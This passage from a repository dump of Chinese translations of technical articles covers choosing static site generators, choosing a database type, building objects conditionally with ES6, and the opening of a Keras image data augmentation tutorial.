[Snipcart & Gatsby 搭建 ReactJS 无后台电商网站](https://snipcart.com/blog/snipcart-reactjs-static-ecommerce-gatsby)\n*   [Grav CMS + Gatsby + GraphQL](https://snipcart.com/blog/react-graphql-grav-cms-headless-tutorial)\n*   [静态表单，授权，无服务器功能（Gatsby + Netlify Demo）](https://snipcart.com/blog/static-forms-serverless-gatsby-netlify)\n\n* * *\n\n[**Hugo**](https://gohugo.io/)\n\n![](https://cdn-images-1.medium.com/max/800/0*PAL4JxBh4U-dISqu.png)\n\n一个易于设置，用户友好的 SSG，部署运行网站不需要太多配置。\n\nHugo 以其构建速度而闻名，而其[数据驱动内容](https://gohugo.io/templates/data-templates/)的特性可以轻松地基于 JSON/CSV 源生成HTML。你通过很少的代码就能使用预先构建的模板快速设置 SEO，评论，分析和其他功能。\n\n此外，Hugo 为多语言网站提供全面的 i18n 支持，受众面大大增加。这对于想要本地化的电商网站特别有用。\n\n最近，他们[发布](https://gohugo.io/news/0.42-relnotes/)了一种先进的主题功能，这可以让你使用可重用组件构建 Hugo 站点。\n\n→ Hugo 教程：\n\n*   [搭建高速静态电商网站](https://snipcart.com/blog/hugo-tutorial-static-site-ecommerce)\n*   [Hugo 的静态电子商务与 Forestry.io 中的产品管理](https://forestry.io/blog/snipcart-brings-ecommerce-static-site/#/)\n*   [Forestry.io & Hugo 静态电商网站](https://forestry.io/blog/snipcart-brings-ecommerce-static-site/#/)\n*   [6 种简易工具给你优秀，快速的静态电商体验](https://www.netlify.com/blog/2015/08/25/a-great-fast-static-e-commerce-experience-with-6-easy-tools/)\n\n* * *\n\n[**Next.js**](https://nextjs.org/)\n\n![](https://cdn-images-1.medium.com/max/800/0*H6lYvOXmQMfbhMBf.jpg)\n\nNext.js 本质上不只是 SSG，它是一个用于静态服务端渲染的 React 轻量框架。\n\nNext.js 构建可以在浏览器端和服务器上都可运行的通用 JavaScript 应用程序。这个过程提升了这些应用程序在首页加载和搜索引擎优化功能方面的表现。Next.js 包括自动代码拆分，简单的前端路由，基于 webpack 的开发环境和任何 Node.js 服务器实现等一整套功能。\n\nJavaScript 现在无处不在，React 是现在最流行的 JS 前端框架，所以它绝对值得一看。\n\n→ Next.js 教程：\n\n*   [Next.js 教程：SEO 友好的 React 电商单页应用](https://snipcart.com/blog/react-seo-nextjs-tutorial)\n*   [用 Next.js 客户端渲染 ReactJS 应用](https://egghead.io/lessons/next-js-introducing-build-a-server-rendered-reactjs-application-with-next-js)\n\n* * *\n\n[**Nuxt.js**](https://nuxtjs.org/)\n\n![](https://cdn-images-1.medium.com/max/800/0*L1wlu2hgtpcRYfcr.png)\n\n名字和功能都与 Next.js 相似，但 Nuxt 是用于创建 Vue.js 应用程序的框架。它可以在抽象出客户端/服务器分布的同时启用 UI 呈现。它还有一个用于构建静态 Vue.js 应用程序的 **nuxt generate** 选项。\n\n这种用于无服务器的简约框架使用十分简单，但它更倾向于程序化实现而不是传统的 DOM 脚手架。\n\n由于 Nuxt 是 Vue 框架，因此强烈建议你先了解 Vue，当然之前使用 Vue 的开发者会感到宾至如归。随着 Vue.js 的迅速崛起，[我们也用 Vue 重构了项目](https://snipcart.com/blog/progressive-migration-backbone-vuejs-refactoring)，所以最后当然要推荐一下它啦。\n\n> **如果你是 Vue.js 用户，你也可以了解一下[**VuePress**](https://vuepress.vuejs.org/)**。\n\n→ Nuxt 教程：\n\n*   [Cockpit CMS & Nuxt.js 全栈教程](https://snipcart.com/blog/cockpit-cms-tutorial-nuxtjs)\n*   [Nuxt.js 服务器端渲染、路由与页面跳转](https://css-tricks.com/simple-server-side-rendering-routing-page-transitions-nuxt-js/)\n\n* * *\n\n### 2.2 主要考虑因素\n\n本节将采用另一种方法，帮助你找到最适合自己的 SSG。\n\n在选择合适的工具之前，你应该先问自己这些问题：\n\n#### **1. 您是否需要开箱即用的大量动态功能和扩展？**\n\n这里有两个流派：\n\n1. 选择一个提供大量开箱即用的功能的静态站点生成器。不需要大量的插件或自己构建一切。如果你是这样想的，**Hugo** 提供了大量内置功能，其次 **Gatsby** 也挺适合于这个情况。\n2. 选择功能较少的 SSG，但提供广泛的插件生态系统，并且允许你根据需要扩展和自定义设置。这可能是 **Jekyll** 最大的优势之一。它长期以来如此热门，社区也逐渐完善，各种各样的插件也随之而出现。为了进一步推动这一概念，[**Metalsmith**](http://www.metalsmith.io/) 或 [**Spike**](https://spike.js.org/) 将设置交给插件，其具有高度可定制性让其无所不能。要权衡的是，它对技术要求很高，但如果你想学习 SSG 运行的语言，这可能是一线希望！\n\n#### **2. 你在意构建和部署时间吗？**\n\n正如我已经提到的，一般静态站点的速度就已经很有优势，但是个别 SSG 更是非一般的快。\n\n这局的赢家明显是 **Hugo**。它以其超快的构建时间而闻名，可以在几毫秒内将内容和模板组合成一个简单站点，以这个速度几秒钟内可以完成数千页。\n\n诸如 **Nuxt** 之类的响应式框架也非常适合性能和搜索引擎优化。\n\n![](https://cdn-images-1.medium.com/max/800/0*kScgW22S3zvfmDF0.png)\n\nJekyll 在这方面就不怎么样了 —— 许多开发人员抱怨它的构建速度。\n\n#### **3. 你想用 SSG 处理什么类型的项目？**\n\n各个 SSG 实现的目的并不相同，选择前想清楚你的网站类型可以省掉很多麻烦事。\n\n→ **博客或小型个人网站**：\n\n**Jekyll**，答案显而易见。它本身就为博客而生，它可以抽象出博客的主要内容。**Hexo** 是搭建简单博客平台的[另一个选择](https://snipcart.com/blog/hexo-ecommerce-nodejs-blog-framework)。不过，其实大多数 SSG 都可以做博客或个人网站。\n\n也可以了解一下：Hugo，Pelican，Gatsby。\n\n→ **文档**：\n\n**GitBook** 使编写和维护高质量的文档变得容易，现在已是最流行的文档工具。\n\n也可以了解一下 Docusaurus，MkDocs。\n\n→ **电子商务**：\n\n您还可以用 SSG 生成电商网站（如前面的教程中所示）。但电商网站不好做，需要考量的东西十分多：用户体验方面，例如速度和UI定制，搜索引擎优化也是必不可少的。\n\n大型电商网站需要 CMS 进行产品管理，这个时候就要思考哪个 SSG 更适合你选择的无头 CMS。\n\n根据我们的经验，我们推荐 **Gatsby** 和 **Nuxt** 这样的响应式框架。但如果你还是需要一切从简，你可以考虑 **Jekyll** 或 **Hugo**。\n\n→ **营销网站**：\n\n之前还没提过 [**Middleman**](https://middlemanapp.com/)。它的与众不同之处在于它可以灵活搭建任何类型的网站，而不是专注于博客引擎。这对于高级营销网站来说非常棒，MailChimp 和 Vox Media 等公司也将它用于自己的网站。\n\n也可以了解一下 Gatsby，Hugo，Jekyll。\n\n#### **4. 你是否希望自己修改网站和生成器？是否需要使用自己精通的语言？**\n\n以下是各个框架使用的语言：\n\n*   **JavaScript**：Next.js & Gatsby（适用于 React）、Nuxt & VuePress（适用于 Vue）、Hexo、GitBook、Metalsmith、Harp、Spike。\n*   **Python**：Pelican、MkDocs、Cactus.\n*   **Ruby**：Jekyll、Middleman、Nanoc、Octopress.\n*   **Go**：Hugo、InkPaper。\n*   **.NET**：Wyam、pretzel。\n\n#### **5. 非技术用户是否需要管理此网站？**\n\n开发并网站构建后，网站内容的管理员是谁？在大多数情况下，他们不是技术人员，他们很难通过代码进行内容管理。\n\n这种情况应该将有无头 CMS 的 SSG 放在首位。CMS 的选择很重要，找到可以对接的 SSG 同样重要。\n\n**Gatsby** 的新功能，[使用 GraphQL 实现](https://www.gatsbyjs.org/docs/querying-with-graphql/)。这里不解释 [GraphQL 是啥](https://snipcart.com/blog/graphql-nodejs-express-tutorial)，简而言之，它可以实现更快更简洁的数据查询。\n\n#### **6. 你依赖社区和同行的帮助吗？**\n\n如果答案是肯定的，请考虑前面列出的顶级静态站点生成器。这些都是目前最受欢迎的 SSG，社区活跃，案例研究和各种资源的支持都不会落后。\n\n注意，现代静态网站和 JAMstack 仍然是一个相对较新的生态系统的一部分，如果你用的工具用户不多，踩到坑可能就要自己填了。\n\n![](https://cdn-images-1.medium.com/max/800/1*4877k4Hq9dPdtmvg9hnGFA.jpeg)\n\n### 总结\n\n到最后我还是不会告诉你，你应该选择什么 SSG，你应该按自己的情况自己做选择。\n\n现在你可以认真思考一下真正吸引你的是什么。有一件事是肯定的，SSG 一定就会给你自由和灵活的感觉！\n\n你会推荐什么静态网站生成器？JAMstack 生态系统将何去何从？我真的很想听听大家的意见，请在下面的评论中加入讨论！\n\n如果您喜欢这篇文章，就在 Twitter 上分享一下吧！\n\n![](https://cdn-images-1.medium.com/max/800/1*ZrJKJqBsksWd-8uKM9OvgA.png)\n\n**首发地址** [_Snipcart blog_](https://snipcart.com/blog/choose-best-static-site-generator) **本文地址（英语）** [_newsletter_](http://snipcart.us5.list-manage2.com/subscribe?u=c019ca88eb8179b7ffc41b12c&id=3e16e05ea2)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-choose-the-right-database.md",
    "content": "> * 原文地址：[How to choose the right database](https://towardsdatascience.com/how-to-choose-the-right-database-afcf95541741)\n> * 原文作者：[Tzoof Avny Brosh](https://medium.com/@tzoof)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-choose-the-right-database.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-choose-the-right-database.md)\n> * 译者：[Jessica](https://github.com/cyz980908)\n> * 校对者：[Ruby](https://github.com/RubyJy)，[Starry](https://github.com/Starry316)\n\n# 如何选择合适的数据库\n\n#### 我们将讨论现有数据库的类型以及对于不同项目类型的数据库最佳实践。\n\n无论您是已有工作经验的软件工程师还是正在写大学课设的学生，您总会遇上要为项目选择一个数据库的情形。\n\n如果您曾经使用过数据库，您可能会说“我只会选择 X，那是我所知道并使用过的数据库”，当然如果性能不是系统的重要要求的话，这是完全可以的。否则，当项目规模发展时，错误的数据库可能会成为项目的障碍，并且有时还很难修复。即使您正在负责一个已经使用某个特定的数据库一段时间的成熟项目，了解其局限性并清楚何时应在堆栈中添加另一种类型的数据库（多个数据组合工作是很常见的）也是很重要的。\n\n了解不同数据库及其属性的另一个加分原因是，它是面试中的一个常考题！\n\n在这篇文章中，我们将会讨论两种主要的数据库类型：\n\n* 关系型数据库（基于 SQL）。\n* NoSQL 数据库。\n\n我们将讨论不同类型的 NoSQL 数据库以及何时使用它们。\n最后，我们还会讨论关系型数据库与 NoSQL 数据库的优缺点。\n这篇文章将不会涉及对同类型数据库的不同产品之间的比较（例如 MySQL 和 MS SQL Server）。\n\n文章总结：如果您想要一个快速看完这篇文章的小抄，请跳到文章的最后。\n\n---\n\n![](https://cdn-images-1.medium.com/max/2000/1*boWbSGHBRs2Bc13aeHVDfw.png)\n\n## 关系型数据库（基于 SQL）\n\n关系型数据库由一组连接起来的表（比如 CSV 表）组成。表中的每一行代表一条记录。\n\n为什么叫关系型? 在这种数据库中存在的“关系”是什么？\n假设您有一个学生信息表和一张课程成绩表（课程，成绩，学生证），每个成绩行都与学生信息表的一条记录**相关**。\n参见下图，课程成绩表中 “Student ID” 列的值通过 “ID” 列的值指向 “Students” 表中的行。\n\n所有关系型数据库都使用类似 SQL 的语言进行查询，这些语言很常用，并且自带 JOIN 操作（即连接操作，用于把来自两个或多个表的行结合起来，如上文的学生信息表和课程成绩表）。\n这种数据库支持对列进行索引，使得基于这些列能进行更快的查询。\n\n由于其结构化的特性，关系型数据库的 schema（schema 指数据库中数据的组织和结构）是在插入数据之前确定好的。\n\n**常见的关系型数据库：** MySQL、PostgreSQL、Oracle、MS SQL Server。\n\n---\n\n![](https://cdn-images-1.medium.com/max/2000/1*xtPrVMwIcya4ObgwTeg9GA.jpeg)\n\n## NoSQL 数据库\n\n虽然在关系型数据库中，所有内容都是按行和列进行结构化好的，但在 NoSQL 数据库中，并没有针对所有记录通用的结构化的 schema。大多数 NoSQL 数据库存储的是 JSON 记录，不同的记录可以包含不同的字段。\n\n---\n\n实际上，应将 NoSQL 数据库称为“不仅仅是 SQL（Not mainly SQL）” —— 因为许多 NoSQL 数据库支持使用 SQL 进行查询，但使用它们并不是最佳实践。\n\n#### NoSQL 数据库主要有 4 种类型：\n\n## 1. 文档存储数据库\n\n文档存储数据库的原子单位是一个文档（document）。\n每个文档都是一个 JSON，不同文档可以有不同的 schema，包含不同的字段。\n文档存储数据库允许对文档中的某些字段建立索引，从而能够基于这些字段进行更快的查询（这将会强制所有文档都具有该字段）。\n\n**应该什么时候选择它？**  \n数据分析 —— 由于不同的记录之间并不相互依赖（在逻辑和结构方面），所以**这种数据库支持并行计算**。\n我们可以借助它来轻松地对数据进行大数据分析。\n\n**常见的文档存储数据库：** MongoDB、CouchDB、DocumentDB。\n\n![](https://cdn-images-1.medium.com/max/2000/1*--zqXFzt3rNFLF4hvkgX7Q.jpeg)\n\n## 2. 列存储数据库\n\n列存储数据库的原子单位是表中的一列，这意味着数据是按列存储的。它的列存储特点使得基于列的查询非常高效，并且由于每列上的数据几乎拥有相同的结构，因此可以更好地压缩数据。\n\n**应该什么时候选择它？**  \n当您倾向于查询数据中的一个列子集时（每次查询的数据不需要都是相同的子集！）。\n列存储数据库执行此类查询的速度非常快，因为它只需要读取这些特定的列（而基于行存储的数据库则必须读取整个数据）。\n\n* 这在数据科学中很常见，其中每一列代表一个特征。作为一名数据科学家，我经常使用特征子集来训练我的模型，并且通常还会检查特征和得分之间的关系（相关性、方差、显著性）。\n* 这在日志中也很常见 —— 我们通常在日志数据库中存储很多字段，但在每个查询中只使用几个字段。\n\n**常见的列存储数据库：** Cassandra。\n\n![列存储数据库 vs. 行存储数据库。](https://cdn-images-1.medium.com/max/2000/1*4qcFp6XOvQj3_uf4_Jx-VA.jpeg)\n\n## 3. key-value 存储数据库\n\n查询仅基于键 —— 您请求一个键，拿到对应的值。\n不支持跨不同记录值之间的查询，比如 “select all records where city == New York”。\n这种数据库中一个有用的特性是 TTL 字段（time to live），当记录将要从数据库中删除时，这个字段可以为每个记录和状态设置不同的值。\n\n**优点 ——** 它很快。\n首先是因为使用唯一键，其次是因为大多数 key-value 存储数据库将数据存储在内存（RAM）中，从而可以快速访问。\n**缺点 ——** 您需要定义唯一的键，这些键是很好的标识符，是在查询时根据您所已知的数据创建的。\n通常比其他类型的数据库更加昂贵（因为它是在内存上运行的）。\n\n**应该什么时候选择它？**  \n它主要用于缓存，因为它非常快，并且不需要复杂的查询，而且 TTL 特性对缓存非常有用。它还可以用于需要快速查询并满足 key-value 格式的任何其他类型的数据。\n\n\n**常见的 key-value 存储数据库：** Redis、Memcached。\n\n![](https://cdn-images-1.medium.com/max/2000/1*toVGNhjap7O02NgIAAo7PQ.jpeg)\n\n## 4. 图存储数据库\n\n图存储数据库包含代表实体的节点和代表实体之间关系的边。\n\n**应该什么时候选择它？**  \n当您的数据是类似于知识图谱和社交网络这种图时。\n\n**常见的图存储数据库：** Neo4j、InfiniteGraph。\n\n---\n\n![](https://cdn-images-1.medium.com/max/2000/1*aoxi7WigljAnHpqyTzzLEg.png)\n\n## 关系型数据库 vs. 文档存储数据库\n\n您现在可能已经知道了答案了，这个问题没有标准答案，没有一个数据库能够解决所有的问题。\n我们通常使用的是最常见的关系型数据库和文档存储数据库，因此我们将对它们二者进行比较。\n\n#### 关系型数据库的优点\n\n* 它的数据结构简单，可以匹配项目中常见的大多数类型的数据。\n* 它使用 **SQL**。SQL 很常用，并且天生支持连接操作。\n* 允许**数据的快速更新**。所有数据库都保存在一台机器上，记录之间的关系用作指针，这意味着您可以一次更新一条记录，而它的所有相关记录也将立即更新。\n* 关系型数据库也 **支持原子事务**。\n什么是原子事务：假设我想把 X 美元从 Alice 账户转移到 Bob账户。我想执行 3 个操作：减少 Alice 账户 X 刀，增加 Bob 账户 X 刀，最后记录下这个交易事务。我想把这些动作当作一个原子单位 —— 要么所有的动作发生要么一个都不发生。\n\n#### 关系型数据库的缺点\n\n* 由于每个查询都在表上完成 —— **查询执行**时间取决于表的大小。这是一个重要的限制，要求我们保持表相对较小，并在我们的数据库上进行优化以实现可伸缩性。\n* 在关系型数据库的扩展中，可以通过向运行数据库的计算机增加更多的计算能力来进行扩展，这种方法称为“**纵向扩展**”。\n为什么这是一个缺点呢？这是由于计算机能够提供的计算能力有限，而且向计算机扩展资源可能需要一些停机时间。\n* 关系型数据库 **不支持 OOP**，不支持面向对象，即使表示简单的列表也是非常复杂的。\n\n#### 文档存储数据库的优点\n\n* 它使您可以保留具有**不同结构**的对象。\n* 您可以使用可爱的 JSON 表示几乎所有的数据结构，包括**基于对象的 OOP**、列表以及字典。\n* 虽然 NoSQL 本质上是无模式的（指不需要像关系型数据库一样将预定义的结构，即 schema ，向数据库说明），但它通常支持**模式验证**，这意味着您可以使一个数据集合模式化，此模式不会像表那么简单，它是一个带有特定字段的JSON schema。（译者注：这里所说的模式就是 schema）。\n* NoSQL **查询**非常快，每条记录都是独立的，因此查询时间与数据库大小无关，并且**支持并行性**。\n* 在 NoSQL 中，通过添加更多的机器并在它们之间分配数据来扩展数据库，这种方法称为“**水平扩展**”。这允许我们在需要时自动向数据库扩展资源，并且不会导致任何停机。\n\n#### 文档存储数据库的缺点\n\n* 在文档存储数据库中**更新**数据是一个**缓慢**的过程，因为数据会在不同的机器之间进行划分、复制。\n* **原子事务本身不受支持**。您可以通过使用验证和恢复机制将其添加到代码中，但是由于记录是在机器之间划分的，所以它不可能是一个原子过程，并且可能会出现竞争状况。（译者注：MongoDB 4.0 版本已经提供了原生的事务操作）\n\n---\n\n![](https://cdn-images-1.medium.com/max/7802/1*OeNlPHG6RC2C37ycYKxyQg.png)\n\n## 快速小抄：\n\n* 对于**缓存** —— 使用 **key-value 存储数据库**。\n* 对于**类似图形**的数据 —— 使用**图存储数据库**。\n* 如果您倾向于查询**列子集**以及查询特征 —— 使用**列存储数据库**。\n* 对于所有的其他用例 —— 使用**关系型数据库**或者**文档存储数据库**。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-conditionally-build-an-object-in-javascript-with-es6.md",
    "content": "> * 原文地址：[How to conditionally build an object in JavaScript with ES6](https://medium.freecodecamp.org/how-to-conditionally-build-an-object-in-javascript-with-es6-e2c49022c448)\n> * 原文作者：[Knut Melvær](https://medium.freecodecamp.org/@kmelve?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-conditionally-build-an-object-in-javascript-with-es6.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-conditionally-build-an-object-in-javascript-with-es6.md)\n> * 译者：[ssshooter](https://github.com/ssshooter)\n> * 校对者：[kezhenxu94](https://github.com/kezhenxu94), [Park-ma](https://github.com/Park-ma)\n\n# 如何使用 JavaScript ES6 有条件地构造对象\n\n![](https://cdn-images-1.medium.com/max/800/1*_CMG7dT4YMldUiVPueOmXw.png)\n\n在不同来源之间移动用户生成的数据，通常需要检查特定字段是否具有值，基于这些数据构建输出。这篇文章将会教你如何使用 JavaScript ES6 特性更简洁地完成这件事。\n\n自 [Sanity.io](https://sanity.io)（我工作的地方）赞助 [Syntax](https://syntax.fm/show/068/design-tips-for-developers) 以来，我一直在 [CLIs](https://github.com/sanity-io/podcast-to-sanity) 和 [Express, and Serverless functions](https://github.com/sanity-io/Syntax) 处理播客 RSS-feeds。这包含处理和构建包含大量字段和信息的复杂对象。因为处理的数据来源各不相同，所以很难保证所有字段都被填充。还有一些字段是选填的，但你不希望在 RSS XML 或 [JSON FEED](https://jsonfeed.org) 输出没有值的标签。\n\n之前我会通过在对象上添加新的键来解决这个问题：\n\n```\nfunction episodeParser(data) {\n  const { id, \n   title,\n   description,\n   optionalField,\n   anotherOptionalField\n  } = data\n  const parsedEpisode = { guid: id, title, summary: description }\n  if (optionalField) {\n    parsedEpisode.optionalField = optionalField\n  } else if (anotherOptionalField) {\n    parsedEpisode.anotherOptionalField = anotherOptionalField\n  }\n  // and so on\n  return parsedEpisode\n}\n```\n\n这不够优雅（但它确实有效），如果有大量可选字段，你就必须写很多 `if-` 语句。我也曾通过循环对象 key 处理这个问题，但这么做代码会更复杂，并且让人难以直观地看懂这个对象。\n\n这时候，ES6 新语法又来救场啦。我发现可以将代码重写为以下模式：\n\n```\nfunction episodeParser({\n  id, \n  title, \n  description = 'No summary', \n  optionalField, \n  anotherOptionalField\n}) {\n  return {\n    guid: id,\n    title,\n    summary: description,\n    ...(optionalField && {optionalField}),\n    ...(anotherOptionalField && {anotherOptionalField})\n  }\n}\n```\n\n这个函数使用了两个 ES6 新特性。第一个是[**参数对象解构**](https://www.youtube.com/watch?v=-vR3a11Wzt0)，如果你需要在函数中处理大量的参数，这是一个很好的模式。可以取代这种写法：\n\n```\nfunction episodeParser(data) {\n  const id = data.id\n  const title = data.title\n  // and so on...\n}\n```\n\n改写为：\n\n```\nfunction({id, title}) {\n  // and so on...\n}\n```\n\n这也是避免函数参数过多的好方法。还要注意对象解构的 `description = 'No summary'` 部分，这就是所谓的默认参数。如果 `description` 未定义，它将被默认定义为字符串 `No summary`。\n\n第二个 `...` 是[**展开语法**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax)。如果条件为真（`&&` 的作用），它将会 “unwrap（解包）”对象：\n\n```\n{\n  id: 'some-id',\n  ...(true && { optionalField: 'something'})\n}\n\n// is the same as\n\n{\n  id: 'some-id',\n  optionalField: 'someting'\n}\n```\n\n你最终得到的是一个简洁又易于测试的函数。关于使用 `&&` 运算符有一点需要注意：数字 0 将被视为 `false`，因此对于某些数据类型需要小心处理。\n\n实际使用此函数，会像这样：\n\n```\nconst data = { \n  id: 1, \n  title: 'An episode', \n  description: 'An episode summary', \n  anotherOptionalField: 'some data' \n}\nepisodeParser(data)\n//> { guid: 1, title: 'An episode', summary: 'An episode summary', anotherOptionalField: 'some data' }\n```\n\n你可以在我们为 [express.js](https://github.com/sanity-io/Syntax/blob/master/routeHandlers/rss.js) 和 [netlify lambdas](https://github.com/sanity-io/Syntax/blob/master/functions/rss.js) 实现的播客订阅中看到实际效果。如果你想亲自尝试 Sanity.io，你可以在 [sanity.io/freecodecamp](https://sanity.io/freecodecamp?utm_source=freecodecamp&utm_medium=blog&utm_campaign=jq) 获得一个免费的开发者计划。 ✨\n\n* * *\n\n**首发于 [_www.sanity.io_](https://www.sanity.io/blog/how-to-conditionally-build-an-object-in-es6)。**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO1/how-to-configure-image-data-augmentation-when-training-deep-learning-neural-networks.md",
    "content": "> * 原文地址：[How to Configure Image Data Augmentation When Training Deep Learning Neural Networks](https://machinelearningmastery.com/how-to-configure-image-data-augmentation-when-training-deep-learning-neural-networks/)\n> * 原文作者：[Jason Brownlee](https://machinelearningmastery.com/author/jasonb/ \"Posts by Jason Brownlee\") \n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-configure-image-data-augmentation-when-training-deep-learning-neural-networks.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-configure-image-data-augmentation-when-training-deep-learning-neural-networks.md)\n> * 译者：[ccJia](https://github.com/ccJia)\n> * 校对者：[lsvih](https://github.com/lsvih), [Minghao23](https://github.com/Minghao23)\n\n# 在深度学习训练过程中如何设置数据增强？\n\n图像数据增强是人工增加训练集的一种方式，主要是通过修改数据集中的图片达成。\n\n更多的训练数据带来的是更有效的深度学习模型，同时，数据增强技术会产生更多的图片变体，这些变体会提高模型对新图片的泛化能力。\n\n在 Keras 框架中，_ImageDataGenerator_ 类提供了数据增强的相关功能。\n\n在本教程中，你将学会如何在训练模型时使用图像数据增强技术。\n\n在完成本教程后，你将明白下面几点：\n\n*   图像数据增强是为了扩展训练数据集从而提高模型的精度和泛化能力。\n*   在 Keras 框架中，你可以通过 _ImageDataGenerator_ 类使用图像数据增强方法。\n*   如何使用平移、翻转、亮度以及缩放的数据增强方法。\n\n让我们开始吧。\n\n## 教程总览\n\n本教程被分为以下八个部分，他们分别是：\n\n1.  图像数据增强\n2.  样本图片\n3.  使用 ImageDataGenerator 进行数据增强\n4.  水平和垂直方向的平移增强\n5.  水平和垂直方向的翻转增强\n6.  随机旋转增强\n7.  随机亮度增强\n8.  随机缩放增强\n\n## 数据增强\n\n深度学习网络的表现总是和数据量成正比的。\n\n数据增强是一种人工的在原有数据基础上增加新训练数据的方法，是利用特定领域的技术将训练集的数据转变成一个新的数据达成的。\n\n图像数据增强大概是最众所周知的一种数据增强方法，主要是涉及创建一个和原始图片属于同一类别的变形后的图片。\n\n从图像处理领域我们可以获得很多的变形方法，比如：平移、翻转、缩放等等。\n\n这么做的主要意图是用合理的新数据去扩展训练数据。换句话说，我们可以让模型看到更多样性的训练数据。举个例子，如果我们对一只猫进行水平的翻转，这个是有意义的，因为摄像头的拍摄角度可能是左边也可能是右边。但是做垂直翻转就没什么意义并且不太适合，因为模型不太会接收到一个头上脚下的猫。\n\n所以，我们应该明白，我们一定要根据训练数据和问题领域的具体场景来慎重的选择应用于训练集的数据增强方法。此外，有一种比较有效的方法，就是在小的原型数据集上做一些独立的实验来度量增强后的模型是否在性能上有所提升。\n\n现代的深度学习方法，像卷积神经网络（CNN），都可以学习到图片中的位置无关性特征。数据增强可以帮助模型去学习这种性质并且可以使得模型对一些变化也不敏感，比如左到右和上到下的顺序、照片的光照变化等等。\n\n这些图片数据的增强一般是应用于训练集而不是验证集和测试集。这些数据增强方法不同于那些需要在各个与模型交互的数据集上都保持一致的预处理方法，比如调整图片大小与缩放像素值等。\n\n### 想要计算机视觉方向的结果？\n\n现在就参加我的7天电子邮件速成课（包含示例代码）。\n\n点击注册还有可以获得课程的免费 PDF 版本。\n\n[下载你的免费迷你课程](https://machinelearningmastery.lpages.co/leadbox/1458ca1e0972a2%3A164f8be4f346dc/4715926590455808/)\n\n## 样本图片\n\n我们需要一个样本图片来展示标准的数据增强技术。\n\n本教程中，我们会用到一个已经获得使用许可，由 AndYaDontStop 拍摄，名为 [Feathered Friend](https://www.flickr.com/photos/thenovys/3854468621/) 的鸟类照片。\n\n下载这张照片，并保存在你的工作目录命名为 ‘_bird.jpg_‘。\n\n![Feathered Friend，作者 AndYaDontStop。](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/01/bird.jpg)\n\nFeathered Friend，作者 AndYaDontStop。  \n保留部分权力.\n\n*   [图片下载链接 (bird.jpg)](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/01/bird.jpg)\n\n## 使用 ImageDataGenerator 进行图像数据增强\n\nKeras 框架可以在训练模型时，自动使用数据增强。\n\n可以利用 [ImageDataGenerator 类](https://keras.io/preprocessing/image/) 